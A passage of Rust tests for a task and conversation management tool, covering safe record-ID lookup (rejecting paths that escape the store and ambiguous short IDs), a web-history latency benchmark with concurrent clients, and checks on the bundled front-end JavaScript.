26924 assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
26925 assert!(sections["tasks"][0].get("instruction").is_none());
26926 assert!(serde_json::to_vec(§ions).unwrap().len() < 8192);
26927 }
26928
26929 #[test]
26930 fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
26931 let home = tempfile::tempdir().unwrap();
26932 let talks = Talks::at(home.path().join("talks"));
26933 seed_talk_at(&talks, "20261019-000001-abcd", "open");
26934 seed_talk_at(&talks, "20261019-000002-abcd", "open");
26935 std::fs::write(home.path().join("outside.json"), "{}").unwrap();
26936 assert!(resolve_talk(&talks, "../outside").is_err());
26937 assert!(resolve_talk(&talks, "abcd").is_err());
26938 assert_eq!(
26939 resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
26940 "20261019-000001-abcd"
26941 );
26942 }
26943
26944 include!(concat!(
26945 env!("CARGO_MANIFEST_DIR"),
26946 "/tests/web_latency/baseline.rs"
26947 ));
26948
26949 include!(concat!(
26950 env!("CARGO_MANIFEST_DIR"),
26951 "/tests/web_latency/lists.rs"
26952 ));
26953
26954 #[tokio::test]
26955 #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
26956 async fn web_history_latency_measurement() {
26957 use std::time::Instant;
26958 let home = tempfile::tempdir().unwrap();
26959 let ui = delta_test_ui(home.path());
26960 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26961 let mut template = ui.talks.get(&id).unwrap();
26962 template.turns = serde_json::from_value(serde_json::json!([{
26963 "who": "operator", "body": "Show the accumulated work and its current status.",
26964 "at": Timestamp::now().to_string(),
26965 }]))
26966 .unwrap();
26967 std::fs::write(
26968 ui.talks.path_of(&id),
26969 serde_json::to_vec(&template).unwrap(),
26970 )
26971 .unwrap();
26972 let count = std::env::var("MAGI_BENCH_RECORDS")
26973 .ok()
26974 .and_then(|s| s.parse::<usize>().ok())
26975 .unwrap_or(1000);
26976 for i in 0..count {
26977 template.id = format!("20261019-{i:06}-history");
26978 template.pending = "history ".repeat(2048);
26979 std::fs::write(
26980 ui.talks.path_of(&template.id),
26981 serde_json::to_vec(&template).unwrap(),
26982 )
26983 .unwrap();
26984 let mut task = Task::new(
26985 "old task".into(),
26986 "instruction ".repeat(2048),
26987 PathBuf::from("/repo"),
26988 Source::Human,
26989 );
26990 task.id = format!("20261019-{i:06}-task");
26991 ui.queue.put(&mut task).unwrap();
26992 }
26993 for baseline in [true, false] {
26994 for clients in [1, 4] {
26995 let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
26996 let mut samples = Vec::new();
26997 for _ in 0..12 {
26998 let mut jobs = Vec::new();
26999 for _ in 0..clients {
27000 let ui = ui.clone();
27001 let id = id.clone();
27002 jobs.push(tokio::spawn(async move {
27003 let start = Instant::now();
27004 if baseline {
27005 let response =
27006 baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
27007 let elapsed = start.elapsed().as_secs_f64() * 1000.0;
27008 return (
27009 elapsed,
27010 elapsed,
27011 serde_json::to_vec(&response).unwrap().len(),
27012 );
27013 }
27014 let core = talk_core(State(ui.clone()), Path(id.clone()));
27015 let secondary = talk_sections(State(ui), Path(id));
27016 let (first, total) = tokio::join!(
27017 async {
27018 let value = core.await.unwrap().0;
27019 (
27020 start.elapsed().as_secs_f64() * 1000.0,
27021 serde_json::to_vec(&value).unwrap().len(),
27022 )
27023 },
27024 async {
27025 let value = secondary.await.unwrap().0;
27026 (
27027 start.elapsed().as_secs_f64() * 1000.0,
27028 serde_json::to_vec(&value).unwrap().len(),
27029 )
27030 }
27031 );
27032 (first.0, first.0.max(total.0), first.1 + total.1)
27033 }));
27034 }
27035 for job in jobs {
27036 samples.push(job.await.unwrap());
27037 }
27038 }
27039 let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
27040 let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
27041 first.sort_by(f64::total_cmp);
27042 total.sort_by(f64::total_cmp);
27043 let n = first.len();
27044 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
27045 println!(
27046 "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
27047 first[n / 2],
27048 first[(n * 95 / 100).min(n - 1)],
27049 total[n / 2],
27050 total[(n * 95 / 100).min(n - 1)],
27051 samples[0].2
27052 );
27053 }
27054 }
27055 }
27056
27057 #[test]
27058 fn app_js_contains_progressive_rendering_and_decoupled_reports() {
27059 assert!(!APP_JS.contains("Promise.allSettled([\n getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
27061 assert!(APP_JS.contains("function nextRunRequest(id)"));
27062 assert!(APP_JS.contains("function runShell(id, summary)"));
27063 assert!(APP_JS.contains("function nextTaskRequest(id)"));
27064 assert!(APP_JS.contains("function taskShell(id, summary)"));
27065 assert!(APP_JS.contains("state.detail.reportLoading = false;"));
27066 }
27067}